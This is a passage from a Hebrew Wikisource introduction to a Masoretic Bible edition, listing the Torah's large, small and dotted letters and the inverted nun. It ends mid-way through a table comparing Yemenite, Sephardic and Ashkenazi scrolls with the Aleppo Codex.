תופעת האותיות הגדולות והקטנות נפוצה יותר בחמישה חומשי תורה מאשר [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#אותיות גדולות וקטנות|בספרי הנביאים והכתובים]].{{הערה|לפי המקובל בפועל בספרי התורה בימינו (שאינו מכיל את כל האותיות הגדולות והקטנות שיש לגביהן עדויות במנהגים שונים), יש כ-23 אותיות גדולות וקטנות בכל המנהגים השונים ביחד, לעומת כ-36 אותיות (ב-34 תיבות) בכל ספרי הנביאים והכתובים (בספירה מקסימלית), כאשר ספרי הנביאים והכתובים הם גדולים יותר מפי ארבע בתוכנם (!) מאשר התורה. ולפי מנהגים נוספים, יש למעלה מ-20 אותיות נוספות בתורה בלבד (ולא בנביאים וכתובים).}} אבל רוב האותיות הגדולות בתורה ובשאר המקרא, וגם חלק ניכר מהקטנות – אינן באות לידי ביטוי כלל בנוסח המקרא שבכתבי־היד הטברנים, ורק חלקם מצוינים ברשימות המסורה הקדומים. וזה למרות שבדורות האחרונים נחשב סימונם הכללי למרכיב בולט של &quot;נוסח המסורה&quot; (אף אם היו מנהגים שונים לגבי איזו אות נחשבת לגדולה או קטנה). בכך דומה עצם '''כתיבתם''' הקפדנית של האותיות הגדולות והקטנות ל'''קביעתם''' הקפדנית והאחידה של [[#מסורת הסופרים בתורה: חלוקת הפרשות|רווחי הפרשות]]: הביצוע המוחלט של שתי התופעות הוא תוצאה לפעילותם של חכמי מסורה ופוסקי הלכה שחיו לאחר תקופת המסורה הטברנית.{{הערה|ראו במבוא ל'''מקראות גדולות הכתר''', כרך יהושע-שפטים, עמ' 47*-49*, ובמיוחד המסקנה שם: &quot;השתרשרותן של האותיות הגדולות והקטנות כסימן מובהק של 'נוסח המסורה' היא מאוחרת לתקופת המסורה... ועד אז היתה כתיבת אותיות כאלה נתונה למעשה לרשותם של סופרים בהתאם למסורת הכתיבה המקובלת עליהם, ולא בהתאם לרשימה מוסכמת כלשהי... יש אפוא צד שווה לסוגיית הפרשיות ולסוגיית האותיות, ששתיהן נעשו סימן מובהק לנוסח המסורה (הטברני) רק לאחר תקופתם של בעלי המסורה. אלא שבעוד שבתחום האותיות המיוחדות היה כוון ההתפתחות מנוגד למנהגו של בן־אשר, כהשתקפותו ב'כתר', הרי בתחום הפרשיות נעשה הכתר דווקא דוגמה ומופת לסופרים הדווקנים של 'נוסח המסורה' בדורות הבאים.&quot; יצויין שב'''מקראות גדולות הכתר''' לא הבליטו לרוב את האותיות המיוחדות (כמו שהן נעדרות לרוב בכתר).}}

במהדורתנו – המיועדת להיות &quot;תיקון קוראים&quot;, ונכון אם כן שהיא תציג את מסורת הסופרים הנהוגה בימינו – נציין את האותיות הגדולות והקטנות לפי המנהג המרבי המקובל ברוב ספרי התורה ובדפוסים של המקרא (והוא בדרך כלל ע&quot;פ מנחת שי). במקרים של ספק נכריע ע&quot;פ דפוס קורן, המשקף כמעט תמיד את המנהג המקובל בדפוסים. בתיעוד הנוסח נציין את המקורות התומכים בסימון האות המיוחדת.

בחמישה חומשי תורה עוד נוסיף הערות לגבי הבדלים הקיימים בין ספרי התורה בימינו (ע&quot;פ מנהגי ספרד ואשכנז ותימן) ונוסח הכתר (ע&quot;פ עדויות) לגבי האותיות הגדולות והקטנות. לרשימת ההערות בנושא זה '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ג#מסורת הסופרים בתורה: הערות מיוחדות|ראו כאן (בצבע ירוק)]]'''.

'''להלן רשימה של כל האותיות הגדולות והקטנות שמופיעים בגוף הטקסט במהדורתנו (או ב[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ג#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות]]):
#'''(ג)''' בראשית, בראשית [[בראשית א/טעמים#א א|(א,א)]]: [{{אות-ג|בְּ}}רֵאשִׁ֖ית]* (=מ&quot;ס-ל) / ל=[בְּרֵאשִׁ֖ית]
#'''(ק)''' בראשית, בראשית [[בראשית ב/טעמים#ב ד|(ב,ד)]]: [בְּ{{אות-ק|הִ}}בָּֽרְאָ֑ם]* (=מ&quot;ס-ל) / ל=[בְּהִבָּֽרְאָ֑ם]
#'''(ג)''' בראשית, בראשית [[בראשית ה/טעמים#ה א|(ה,א)]]: [סֵ֔פֶר]*=ל / [{{אות-ג|סֵ֔}}פֶר] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על התורה]])
#'''(ק)''' בראשית, חיי שרה [[בראשית כג/טעמים#כג ב|(כג,ב)]]: [וְלִבְ{{אות-ק|כֹּ}}תָֽהּ]* (=מ&quot;ס-ל) / ל=[וְלִבְכֹּתָֽהּ]
#'''(ק)''' בראשית, תולדֹת [[בראשית כז/טעמים#כז מו|(כז,מו)]]: [{{אות-ק|קַ֣}}צְתִּי]* (=מ&quot;ס-ל) / ל=[קַ֣צְתִּי]
#'''(ג)''' שמות, כי תשא [[שמות לד/טעמים#לד ז|(לד,ז)]]: [{{אות-ג|נֹ}}צֵ֥ר]* / ל=[נֹצֵ֥ר] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ג)''' שמות, כי תשא [[שמות לד/טעמים#לד יד|(לד,יד)]]: [אַחֵ֑{{אות-ג|ר}}]* (=מ&quot;ס-ל) / ל=[אַחֵ֑ר]
#'''(ק)''' ויקרא, ויקרא [[ויקרא א/טעמים#א א|(א,א)]]: [וַיִּקְרָ֖{{ק|א}}]* (=מ&quot;ס-ל) / ל=[וַיִּקְרָ֖א]
#'''(ק)''' ויקרא, צו [[ויקרא ו/טעמים#ו ב|(ו,ב)]]: [{{אות-ק|מ}}וֹקְדָ֨ה]* / ל=[מוֹקְדָ֨ה] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ג)''' ויקרא, שמיני [[ויקרא יא/טעמים#יא מב|(יא,מב)]]: [עַל־גָּח֜{{אות-ג|וֹ}}ן]*=ל (=מ&quot;ס-ל)
#'''(ג)''' ויקרא, תזריע [[ויקרא יג/טעמים#יג לג|(יג,לג)]]: [וְהִ֨תְ{{אות-ג|גַּ}}לָּ֔ח]* (=מ&quot;ס-ל) / ל=[וְהִ֨תְגַּלָּ֔ח]
#'''(ג)''' במדבר, שלח [[במדבר יד/טעמים#יד עז|(יד,יז)]]: [{{אות-ג|יִ}}גְדַּל]* (=מ&quot;ס-ל) / ל=[יִגְדַּל]
#'''(ק)''' במדבר, פינחס [[במדבר כה/טעמים#כה יא|(כה,יא)]]: [פִּֽינְחָ֨ס]*=ל / [פִּֽ{{אות-ק|י}}נְחָ֨ס] (מנהג שהתקבל בספרי ספרד ואשכנז; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ק או וי&quot;ו קטיעא)''' במדבר, פינחס [[במדבר כה/טעמים#כה יב|(כה,יב)]]: [שָׁלֽוֹם]*=ל / [שָׁלֽ{{אות-ק|וֹ}}ם] (וי&quot;ו קטנה, או קטיעא בספרי ספרד ואשכנז; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ג)''' במדבר, פינחס [[במדבר כז/טעמים#כז ה|(כז,ה)]]: [מִשְׁפָּטָ֖{{אות-ג|ן|}}]*=ל (=מ&quot;ס-ל)
#'''(ג)''' דברים, ואתחנן [[דברים ו/טעמים#ו ד|(ו,ד)]]: [שְׁמַ֖{{אות-ג|ע}}]*=ל (=מ&quot;ס-ל)
#'''(ג)''' דברים, ואתחנן [[דברים ו/טעמים#ו ד|(ו,ד)]]: [אֶחָֽ{{אות-ג|ד}}]*=ל (=מ&quot;ס-ל)
#'''(ג)''' דברים, עקב [[דברים יא/טעמים#יא כא|(יא,כא)]]: [עַל־הָאָֽרֶץ]*=ל / [עַל־הָאָֽרֶ{{אות-ג|ץ}}] (=ספרי תימן; וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ק)''' דברים, כי־תצא [[דברים כב/טעמים#כב ו|(כב,ו)]]: [קַן־צִפּ֣וֹר]*=ל / [{{אות-ג|קַ}}ן־צִפּ֣וֹר] (=ספרי תימן ומ&quot;ס-ל!); וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ג)''' דברים, נִצבים [[בראשית א/טעמים#|(כט,כז)]]: [וַיַּשְׁ{{אות-ג|לִ}}כֵ֛ם]* (=מ&quot;ס-ל) / אל=[וַיַּשְׁלִכֵ֛ם]
#'''(ג)''' {{עוגן בשורה|ה לה'}}דברים, האזינו [[בראשית א/טעמים#|(לב,ו)]]: [{{אות-ג|הַ}} לְיְהֹוָה֙]* (=מ&quot;ס-ל) / א=[הַ לְיְהוָה֙?]; ל=[הֲ־לַיהוָה֙]; ספרי תימן=[{{אות-ג|הַֽ}}לְיהֹוָה֙] (=מ&quot;ס-ל! וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])
#'''(ק)''' דברים, האזינו [[בראשית א/טעמים#|(לב,יח)]]: [תֶּ֑שִׁ{{אות-ק|י}}]* (=מ&quot;ס-ל) / אל=[תֶּ֑שִׁי]
#'''(ג)''' דברים, וזאת הברכה [[בראשית א/טעמים#|(לג,כט): [אַשְׁרֶ֨יךָ]*=אל / [{{אות-ג|אַ}}שְׁרֶ֨יךָ] (=ספרי תימן ומ&quot;ס-ל!); וראו ב[[#מסורת הסופרים בתורה: הערות מיוחדות|הערות מיוחדות על תורה]])

'''להלן רשימה של אותיות מיוחדות נוספות בתורה:'''{{הערה|רשימת האותיות הנוספות מבוססת בעיקרה על על הטבלה המופיעה [http://www.jewishencyclopedia.com/articles/13809-small-and-large-letters באנציקלופדיה היהודית], ובנוסף על הרשימות [http://www.sofer.co.uk/html/large_letters.html כאן] ו[http://www.win.tue.nl/~aeb/natlang/hebrew/hebrew_bible.html כאן].}}
#'''(ג)''' בראשית, ויצא [[בראשית ל/טעמים#ל מב|(ל, מב)]]: [וּבְהַעֲטִ֥י{{מ:אות-ג|ף}}]
#'''(ג)''' בראשית, וישלח [[בראשית לד/טעמים#לד לא|(לד,לא)]]: [הַכְ{{מ:אות-ג|ז}}וֹנָ֕ה]
#'''(ג)''' בראשית, ויחי [[בראשית מט/טעמים#מט יב|(מט,יב)]]: [{{מ:אות-ג|חַ}}כְלִילִ֥י]
#'''(ג)''' בראשית, ויחי [[בראשית נ/טעמים#נ כג|(נ,כג)]]: [שִׁלֵּשִׁ֑י{{מ:אות-ג|ם}}]
#'''(ג)''' שמות, שמות [[שמות ב/טעמים#ב ב|(ב,ב)]]: [כִּי־{{מ:אות-ג|ט֣}}וֹב]
#'''(ג)''' שמות, בֹא [[שמות יא/טעמים#יא ח|(יא,ח)]]: [{{מ:אות-ג|צֵ֤}}א]
#'''(ג)''' שמות, תצוה [[שמות כח/טעמים#כח לו|(כח,לו)]]: [צִּ֖י{{מ:אות-ג|ץ}}]
#'''(ק או קו&quot;ף דבוקה)''' {{עוגן בשורה|קו&quot;ף דבוקה 1}}שמות, כי תשא [[שמות לב/טעמים#לב כה|(לב,כה)]] [בְּ{{מ:אות-ק|קָ}}מֵיהֶֽם] (בקו&quot;ף קטנה או דבוקה; וראו להלן ב[[#קו&quot;ף דבוקה 2|פרשת נשֹא]] [במדבר ז,ב])
#'''(ג)''' שמות, כי תשא [[שמות לד/טעמים#לד יא|(לד,יא)]]: [{{מ:אות-ג|שְׁ}}מׇ֨ר־לְךָ֔]
#'''(ג)''' ויקרא, צו (ח,טו '''או''' ח,כג):
##[וַיִּשְׁ{{מ:אות-ג|חָ֗}}ט] [[ויקרא ח/טעמים#ח טו|(ח,טו)]]; ולפי מסכת סופרים [{{מ:אות-ג|וַיִּשְׁחָ֗ט}}] (כל האותיות)
##[וַיִּשְׁ{{מ:אות-ג|חָ֓}}ט{{מ:לגרמיה}}] [[ויקרא ח/טעמים#ח כג|(ח,כג)]]; ולפי מסכת סופרים [{{מ:אות-ג|וַיִּשְׁחָ֓ט{{מ:לגרמיה}}}}] (כל האותיות)
#'''(ג)''' ויקרא, שמיני [[ויקרא יא/טעמים#יא ל|(יא,ל)]]: [וְהַ{{מ:אות-ג|לְּ}}טָאָ֑ה]
#'''(ג)''' במדבר, במדבר [[במדבר א/טעמים#א יח|(א,יח)]]: [לְ{{מ:אות-ג|גֻ}}לְגְּלֹתָֽם] (=ל?מ&quot;ס-ל)
#'''(ג)''' במדבר, במדבר [[במדבר ג/טעמים#ג טז|(ג,טז)]]: [עַל־{{מ:אות-ג|פִּ֣}}י]
#'''(קו&quot;ף דבוקה)''' {{עוגן בשורה|קו&quot;ף דבוקה 2}}במדבר, נשֹא [[במדבר ז/טעמים#ז ב|(ז,ב)]]: [עַל־הַפְּקֻדִֽים׃] (קו&quot;ף דבוקה, וראו לעיל [[#קו&quot;ף דבוקה 1|בפרשת כי תשא]] [לב,כה])
#'''(ג)''' במדבר, שלח [[במדבר יג/טעמים#יג ל|(יג,ל)]]: [וַיַּ֧הַ{{מ:אות-ג|ס}}]
#'''(ג)''' במדבר, בלק [[במדבר כד/טעמים#כד ה|(כד,ה)]]: [{{מ:אות-ג|מַ}}ה־טֹּ֥בוּ]
#'''(ג)''' דברים, דברים [[דברים ב/טעמים#ב לג|(ב,לג)]]: [וַנַּ֥{{מ:אות-ג|ךְ}}]
#'''(ג)''' דברים, דברים [[דברים ג/טעמים#ג יא|(ג,יא)]]: [עֶ֣רֶ{{מ:אות-ג|שׂ}}]
#'''(ק)''' דברים, עקב [[דברים ט/טעמים#ט כד|(ט,כד)]]: [{{מ:אות-ק|מַ}}מְרִ֥ים]
#'''(ג)''' דברים, שֹפטים [[דברים יח/טעמים#יח יג|(יח,יג)]]: [{{מ:אות-ג|תָּ}}מִ֣ים]
#'''(ג)''' דברים, כי־תבוא [[דברים כח/טעמים#כח סח|(כח,סח)]]: [וְהִתְמַ{{מ:אות-ג|כַּ}}רְתֶּ֨ם]
#'''(ג)''' דברים, האזינו [[דברים לב/טעמים#לב ד|(לב,ד)]]: [הַ{{מ:אות-ג|צּ}}וּר֙]
#'''(ג)''' דברים, האזינו [[דברים לב/טעמים#לב ה|(לב,ה)]]: [וּ{{מ:אות-ג|פְ}}תַלְתֹּֽל׃]
#'''(ג)''' דברים, וזאת הברכה [[דברים לד/טעמים#לד יב|(לד,יב)]]: [כׇּל־יִשְׂרָאֵֽ{{מ:אות-ג|ל}}׃]

===אותיות מנוקדות===
[[קובץ:MG1525A.djvu|thumb|רשימת האותיות המנוקדות במסורה הגדולה על פרשת במדבר (ג, לט &quot;וְׄאַׄהֲׄרֹ֛ׄןׄ&quot;) שבמקראות הגדולות (דפוס ונציה, רפ&quot;ד-רפ&quot;ו).|page=313]]

בניגוד ל[[#אותיות גדולות וקטנות|אותיות הגדולות והקטנות]], לסימון האותיות המנוקדות יש ביצוע עקבי בכתבי־היד בהתאם לרשימות המסורה. אמנם יש בכל זאת אי הסכמה לגבי פרטים מסויימים. להלן רשימה של האותיות המנוקדות בתורה במהדורתנו ובכתבי־היד העיקריים:
#בראשית, לך־לך [[בראשית טז/טעמים#טז ה|(טז,ה)]]: [וּבֵינֶֽיׄךָ]*=ל
#בראשית, וירא [[בראשית יח/טעמים#יח ט|(יח,ט)]]: [אֵׄלָ֔יׄוׄ]* / ל=[אֵׄלָׄ֔יׄוׄ] (=מ&quot;ס-ל &lt;ד' [נקודות]&gt;)
#בראשית, וירא [[בראשית יט/טעמים#יט לג|(יט,לג)]]: [וּבְקוּׄמָֽהּ]*=ל
#בראשית, וישלח [[בראשית לג/טעמים#לג ד|(לג,ד)]]: [וַׄיִּׄשָּׁׄקֵ֑ׄהׄוּׄ]*=ל
#בראשית, וישב [[בראשית לז/טעמים#לז יב|(לז,יב)]]: [אֶׄתׄ־צֹ֥אן]*=ל
#במדבר, במדבר [[במדבר ג/טעמים#ג לט|(ג,לט)]]: [וְׄאַׄהֲׄרֹ֛ׄןׄ]*=ל
#במדבר, בהעלֹתך [[במדבר ט/טעמים#ט י|(ט,י)]]: [רְחֹקָ֜הׄ]*=ל
#במדבר, חֻקת [[במדבר כא/טעמים#כא ל|(כא,ל)]]: [אֲשֶׁ֖רׄ]*=ל
#במדבר, פינחס [[במדבר כט/טעמים#כט טו|(כט,טו)]]: [וְעִשָּׂרוֹׄן֙]* / ל=[וְעִשָּׂרׄוֹן֙] (הנקודה ברי&quot;ש!)
#דברים, נִצבים [[דברים כט/טעמים#כט כח|(כט,כח)]]: [לָ֤ׄנׄוּׄ וּׄלְׄבָׄנֵׄ֙יׄנׄוּׄ֙ עַׄד־עוֹלָ֔ם]*=א / ל=[לָ֤ׄנׄוּׄ וּׄלְׄבָׄנֵׄ֙יׄנׄוּׄ֙ עַד־עוֹלָ֔ם] (=מ&quot;ס-ל)

===נו&quot;ן הפוכה===

תופעת הנו&quot;ן ההפוכה או המנוזרת (׆) נמצאת סביב פרשה אחת בתורה (בהתחלה ובסוף סה&quot;כ פעמיים), ואילו [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#נו&quot;ן הפוכה|בנביאים כתובים]] היא נמצאת 7 פעמים ב[[תהלים קז/טעמים#קז כג|מזמור ק&quot;ז]] (כ&quot;ג-כ&quot;ח, מ) בתהלים. מקומן וצורתן בתורה נקבעה במהדורתנו לפי מה שידוע לנו על התופעה בכתר ובכתבי־היד הקרובים לו.{{הערה|לתיעוד מלא של נתונים ראו בתיעוד הנוסח בדף העריכה.}}

'''תצוגת נו&quot;ן הפוכה במהדורתנו ובמקורות הנוסח:'''
#'''[[במדבר י/טעמים#י לה|במהדורתנו: במדבר, בהעלֹתך (י,לה-לו)]]'''
#[https://commons.wikimedia.org/w/index.php?title=File:Leningrad-codex-04-numbers.pdf&amp;page=17 בכתי&quot;ל] ([http://tanach.us/Tanach.xml?Num10:1-10:36 הקלדת וסטמינסטר])
#בכתי&quot;ש: [https://commons.wikimedia.org/w/index.php?title=File:Damascus_Codex_%28Torah%29_4Numbers.djvu&amp;page=33 עמוד ראשון] | [https://commons.wikimedia.org/w/index.php?title=File:Damascus_Codex_%28Torah%29_4Numbers.djvu&amp;page=34 עמוד שני]
#[http://www.bl.uk/manuscripts/Viewer.aspx?ref=or_4445_f115r בכתי&quot;ב] (ראו שם דף 129 ע&quot;א וע&quot;ב)
#[https://commons.wikimedia.org/w/index.php?title=File:Tanakh-Sassoon1053-04-Numbers.pdf&amp;page=12 בכתי&quot;ש1]
#[https://commons.wikimedia.org/w/index.php?title=File:MG1525A.djvu&amp;page=332 במ&quot;ג דפוס ונציה] (&quot;ב׆סע&quot;, &quot;כמתא׆נים&quot;!)
#[https://commons.wikimedia.org/w/index.php?title=File:Sefer-Torah-Elihu-Shannon-2.djvu&amp;page=165 בספר תורה טיפוסי הכתוב על קלף]
#[https://commons.wikimedia.org/w/index.php?title=File:David-kokhav-sefer-torah.pdf&amp;page=155 בספר תורה מיוחד הכתוב על קלף]

==מסורת הסופרים בתורה: הערות מיוחדות==

מהדורתנו מיועדת כאמור להציג את מסורת הסופרים בתורה על־פי המסורה הטברנית ולפי ספרי התורה בימינו. ניתן להגיע אל נוסח האותיות בתורה שהיה בכתר ארם צובה על ידי שחזור אמין (לפי שיטת ברויאר ועל פי עדויות מובהקות), ומתברר שהוא זהה לחלוטין לנוסח האותיות בספרי התורה התימנים (המייצגים לגמרי את שיטת המסורה). אבל לעתים רחוקות (8-9 אותיות בלבד בכל התורה) יש הבדלים בין ספרי תימן מצד אחד, לבין ספרי אשכנז וספרד מצד שני, בנוסח הכתיב המובהק. וב-2 מקומות יש הבדל בין הכתיב אצלנו בספרי התורה למה שהיה כתוב בכתר (על־פי עדויות). במהדורתנו תבוא הערה מיוחדת בכל המקומות האלה.{{הערה|נוסח ההערה הקצרה יציין קודם כל את ספרי &quot;ספרד&quot; לפני &quot;אשכנז&quot; (&quot;בספרי ספרד ואשכנז...&quot;), כי במקומות המעטים שיש בהם שינויים מהסוג הזה (סה&quot;כ 8-9 מקומות בכל התורה כולה), המקור לכולם הוא בפסקי הרמ&quot;ה על־פי &quot;ספרי ספרד המדויקים&quot;. בתקופה יותר מאוחרת הושלם היישום של פסקי הרמ&quot;ה גם בספרי התורה האשכנזים. היום גם רוב ספרי אשכנז כמעט זהים לספרי ספרד (חוץ מאות אחת בתיבת דַּכָּ֛א/דַּכָּ֛ה), ושניהם יחד שונים מספרי תימן באותם 8 מקומות (ספרד) או 9 מקומות (אשכנז), כאשר רק ספרי תימן מתאימים לגמרי למסורה. אבל יש מקומות שבמשך שנים רבות עדיין ציינו בדפוסים הישנים את הנוסח המתאים למסורה בתור &quot;נוסח אשכנז&quot;, ובמיוחד ב[[דברים כג ב]] ציינו &quot;דכא&quot; באל&quot;ף במקום &quot;דכה&quot; בה&quot;א (הראשון בתור נוסח אשכנז והשני על פי ספרי ספרד בעקבות קביעת הרמ&quot;ה למרות שאין היישום כך היום בספרי תורה ספרדים). ועד עצם היום הזה עדיין כותבים &quot;דכא&quot; באל&quot;ף בספרי התורה של חב&quot;ד. לכן נוסח ההערה ב[[דברים כג ב]] יהיה: &quot;ברוב ספרי אשכנז...&quot;, ואילו בשאר המקומות: &quot;בספרי ספרד ואשכנז...&quot;. לפרטים נוספים על נוסח אשכנז הישן והתאמתו למסורה, ראו את מאמרו של מרדכי גלצר, [http://www.ybz.org.il/_Uploads/dbsAttachedFiles/Article_92.7(1).pdf &quot;המסורה בין המזרח למערב&quot;].}}

חוץ מנוסח הכתיב המובהק, דהיינו נוסח האותיות, תבוא הערה מיוחדת בכל מקרה של אי־הסכמה לגבי '''תיבות מחוברות''' ועל '''אותיות מיוחדות''' (כגון אותיות גדולות וקטנות וקטועות), וכמו כן על כל הבדל ב'''חלוקת הפרשות'''. גם במקומות הללו, אפוא שיש הבדל בין ספרי התורה, או בין ספרי התורה לכתר, נציין את השינוי באופן ניכר על־ידי הערה בגוף הטקסט (ולא רק בתיעוד הנוסח הבלתי־נראה שבדף העריכה).{{הערה|1=כאמור, בביטוי &quot;ספרי ספרד ואשכנז&quot; הכוונה בעיקר לספרים הנפוצים בימינו, שכל ענייני הכתיב שבהם כבר הותאמו להכרעתם של הרמ&quot;ה ו/או אור תורה ומנחת שי. למקור זמין ברשת כדי לאשר תופעות מיוחדות בספרי תורה תימניים, ראו '''[http://www.nosachteiman.co.il/?CategoryID=583 כאן]'''.}}

'''בטבלה הבאה מובאים כל המקומות שבהם מופיעה הערה מיוחדת בתורה במהדורתנו.{{הערה|לגבי מגילת אסתר ראו ב[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ד#מסורת הסופרים במגילת אסתר: הערות מיוחדות|פרק הבא של המבוא]].}} סוגי השינויים מובלטים על ידי צבעים:'''
*{{צבע גופן|אדום|אדום}}=שינויים מובהקים בנוסח האותיות (11 מקומות בתורה; 9 הבדלים בין ספרי התורה, ו-2 הבדלים בין ספרי התורה לכתר ארם צובה ע&quot;פ עדויות)
*{{צבע גופן|כתום|כתום}}=תיבות מחוברות (3 תופעות בתורה, אחת מהן ב-3 מקומות){{הערה|ההערה על &quot;{{אות-ג|הַ}}[ ]לְיְהֹוָה֙&quot; ([[דברים לב/טעמים#לב ו|דברים לב,ו]]) מופיעה בטבלה בכתום. היא מתייחסת רק לשאלת הרווח אחרי האות ה&quot;א, ולא לנושא של האות הגדולה.}}
*{{צבע גופן|צהוב|צהוב}}=שינויים בחלוקת הפרשות: סוג הפרשה (פתוחה או סתומה) או העדר פרשה (5 מקומות בתורה)
*{{צבע גופן|ירוק|ירוק}}=אותיות מיוחדות: גדולות או קטנות או קטועות (8 מקומות בתורה){{הערה|לגבי האותיות המיוחדות, הערנו על הבדלים בין ספרי התורה של העדות. אך לא הערנו על הביצוע (או חוסר הביצוע) של אותיות מיוחדות בכתר ארם צובה, בגלל שברוב המקומות ממילא אין ביצוע בכתר.}}

יש 27 שינויים מכל הסוגים האלה בתורה (נוסח האותיות המובהק, תיבות מחוברות, אותיות מובהקות, חלוקת הפרשות). שינוי אחד (&quot;פוטי[ ]פרע&quot;) נמצא ב-3 מקומות, ובכל מקום יש הערה, ולכן יש סה&quot;כ 29 הערות בנוסח התורה. אפשר לראות את כל ההערות במקום אחד, ביחד עם קישורים ישירים לתוך גוף הטקסט, בדף המציג את [[מקרא על פי המסורה/תורה כתיב#הערות|'''התורה לפי מסורת הסופרים''' (באותיות של כתיב בלבד)]].

{| width=100% border=5 cellpadding=2 align=center
|colspan=8 align=center|{{ג|{{קו תחתי|'''הערות מיוחדות בנוסח התורה'''}}}}&lt;br&gt;ציון ההבדלים בין ספרי התורה במסורת תימן, ספרד ואשכנז, ובין ספרי התורה לכתר ארם צובה
|- align=center
!פסוק
!פרשת השבוע
!מילה או הקשר
!כתר ארם צובה{{הערה|לפי עדויות או מקבילות במקומות שהוא לא קיים.}}
!ספרי תימן
!ספרי ספרד ואשכנז
!נוסח הפנים&lt;br&gt;במהדורתנו
!הערה במהדורתנו
|- align=center bgcolor=&quot;red&quot;
|[[בראשית ד/טעמים#ד יג|בראשית ד, יג]]
|[[פרשת בראשית/טעמים#ד יג|בראשית]]
|מִנְּשֽׂ(וֹ)א
|מִנְּשֹֽׂא‏
|מִנְּשֹֽׂא‏
|מִנְּשֽׂוֹא
|מִנְּשֹֽׂא‏
|בספרי ספרד ואשכנז מִנְּשֽׂוֹא
|- align=center bgcolor=&quot;lime&quot;
|[[בראשית ה/טעמים#ה א|בראשית ה, א]]
|[[פרשת בראשית/טעמים#ה א|בראשית]]
|סמ&quot;ך של סֵ֔פֶר
|
|סמ&quot;ך גדולה
|סמ&quot;ך רגילה
|סמ&quot;ך רגילה
|בספרי תימן {{אות-ג|סֵ֔}}פֶר בסמ&quot;ך גדולה
|- align=center bgcolor=&quot;red&quot;
|[[בראשית ז/טעמים#ז יא|בראשית ז, יא]]
|[[פרשת נח/טעמים#ז יא|נֹח]]
|מַעְיְנ(וֹ)ת֙
|מַעְיְנֹת֙‏
|מַעְיְנֹת֙‏
|מַעְיְנוֹת֙
|מַעְיְנֹת֙‏
|בספרי ספרד ואשכנז מַעְיְנוֹת֙
|- align=center bgcolor=&quot;red&quot;
|[[בראשית ט/טעמים#ט כט|בראשית ט, כט]]
|[[פרשת נח/טעמים#ט כט|נֹח]]
|וַיִּֽהְיוּ֙ / וַֽיְהִי֙
|וַיִּֽהְיוּ֙
|וַיִּֽהְיוּ֙
|וַֽיְהִי֙
|וַיִּֽהְיוּ֙
|בספרי ספרד ואשכנז וַֽיְהִי֙
|- align=center bgcolor=&quot;orange&quot;
|[[בראשית מא/טעמים#מא מה|בר' מא, מה]];&lt;br&gt;[[בראשית מא/טעמים#מא נ|מא, נ]];&lt;br&gt;[[בראשית מו/טעמים#מו כ|מו, כ]].
|[[פרשת מקץ/טעמים#מא מה|מקץ (1)]]&lt;br&gt;[[פרשת מקץ/טעמים#מא נ|מקץ (2)]]&lt;br&gt;[[פרשת ויגש/טעמים#מו כ|ויגש (3)]]
|פוטי[ ]פרע
|פוטי פרע
|פוטיפרע&lt;br&gt;(תיבה אחת)
|פוטי פרע&lt;br&gt;(שתי תיבות)
|פוטי פרע
|בספרי תימן&lt;br&gt;פּֽוֹטִיפֶ֛רַע/פּֽוֹטִיפֶ֖רַע/פּֽוֹטִיפֶ֖רַע&lt;br&gt;בתיבה אחת
|- align=center bgcolor=&quot;red&quot;
|[[שמות א/טעמים#א יט|שמות א, יט]]
|[[פרשת שמות/טעמים#א יט|שמות]]
|אֲלֵ(י)הֶ֛ן
|אֲלֵיהֶ֛ן
|אֲלֵהֶ֛ן
|אֲלֵהֶ֛ן
|אֲלֵהֶ֛ן
|בכתר ארם צובה היה כתוב אֲלֵיהֶ֛ן
|- align=center bgcolor=&quot;orange&quot;
|[[שמות יז/טעמים#יז טז|שמות יז, טז]]
|[[פרשת בשלח/טעמים#יז טז|בשלח]]
|כֵּ֣ס[ ]יָ֔הּ
|כֵּ֣סְיָ֔הּ
|כֵּ֣ס יָ֔הּ
|כֵּ֣ס יָ֔הּ
|כֵּ֣ס יָ֔הּ
|בכתר ארם צובה היה כתוב כֵּ֣סְיָ֔הּ בתיבה אחת
|- align=center bgcolor=&quot;red&quot;
|[[שמות כה/טעמים#כה לא|שמות כה, לא]]
|[[פרשת תרומה/טעמים#כה לא|תרומה]]
|תֵּ(י)עָשֶׂ֤ה
|תֵּעָשֶׂ֤ה‏
|תֵּעָשֶׂ֤ה‏
|תֵּיעָשֶׂ֤ה
|תֵּעָשֶׂ֤ה‏
|בספרי ספרד ואשכנז תֵּיעָשֶׂ֤ה
|- align=center bgcolor=&quot;yellow&quot;
|[[שמות כו/טעמים#כו ז|שמות כו, ז]]
|[[פרשת תרומה/טעמים#כו ז|תרומה]]
|וְעָשִׂ֙יתָ֙ יְרִיעֹ֣ת עִזִּ֔ים
|פרשה פתוחה?
|אין פרשה
|אין פרשה
|אין פרשה
|ספק פרשה פתוחה בכתר ארם צובה
|- align=center bgcolor=&quot;red&quot;
|[[שמות כח/טעמים#כח כו|שמות כח, כו]]
|[[פרשת תצוה/טעמים#כח כו|תצוה]]
|הָאֵפ֖(וֹ)ד
|הָאֵפֹ֖ד
|הָאֵפֹ֖ד
|הָאֵפ֖וֹד
|הָאֵפֹ֖ד‏
|בספרי ספרד ואשכנז הָאֵפ֖וֹד
|- align=center bgcolor=&quot;yellow&quot;
|[[שמות לד/טעמים#לד א|שמות לד, א]]
|[[פרשת כי תשא/טעמים#לד א|כי תשא]]
|וַיֹּ֤אמֶר...&lt;br&gt;פְּסָל־לְךָ֛
|פרשה סתומה?
|פרשה פתוחה
|פרשה פתוחה
